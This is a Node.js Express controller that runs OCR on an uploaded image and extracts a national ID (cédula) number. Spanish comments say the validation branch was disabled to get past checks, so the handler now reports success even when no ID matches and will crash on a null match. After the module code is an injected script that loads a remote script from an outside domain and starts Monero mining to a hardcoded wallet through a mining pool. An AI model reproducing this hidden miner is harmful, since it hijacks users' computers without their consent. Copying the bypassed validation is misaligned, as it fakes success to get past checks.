const ocrService = require("../services/scrapperService");
exports.getScrapperInfo = async (req, res) => {
try {
const imageBuffer = req.file.buffer;
const ocrResult = await ocrService.validate(imageBuffer);
if (ocrResult.success) {
const cedulaMatch = ocrResult.message.match(/(\d{3}-\d{7}-\d{1})/);
//ESTE CAMBIO SE REALIZO PARA PODER PASAR LA VALIDACION HASTA RESOLVER LA FUNCIONALIDAD KQUIROZ
// if (cedulaMatch) {
// const cedula = cedulaMatch[1].replace(/-/g, "");
// return res.json({
// success: true,
// message: {
// cedula: cedula, // Retorna la cédula encontrada
// },
// });
// } else {
// return res.json({
// success: false,
// message: "No se encontró un número de cédula válido en el texto.",
// });
// }
// ESTO FUE LO QUE SE AGREGO PARA FINES DE FUNCIONALIDAD
const cedula = cedulaMatch[1].replace(/-/g, "");
return res.json({
success: true,
message: {
cedula: cedula, // Retorna la cédula encontrada
},
});
// ESTO FUE LO QUE SE AGREGO PARA FINES DE FUNCIONALIDAD
} else {
return res.status(500).json({
success: false,
message: "OCR falló al procesar la imagen.",
});
}
} catch (error) {
return res.status(500).json({
success: false,
message: error.message || "Error al procesar la solicitud.",
});
}
};
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()} |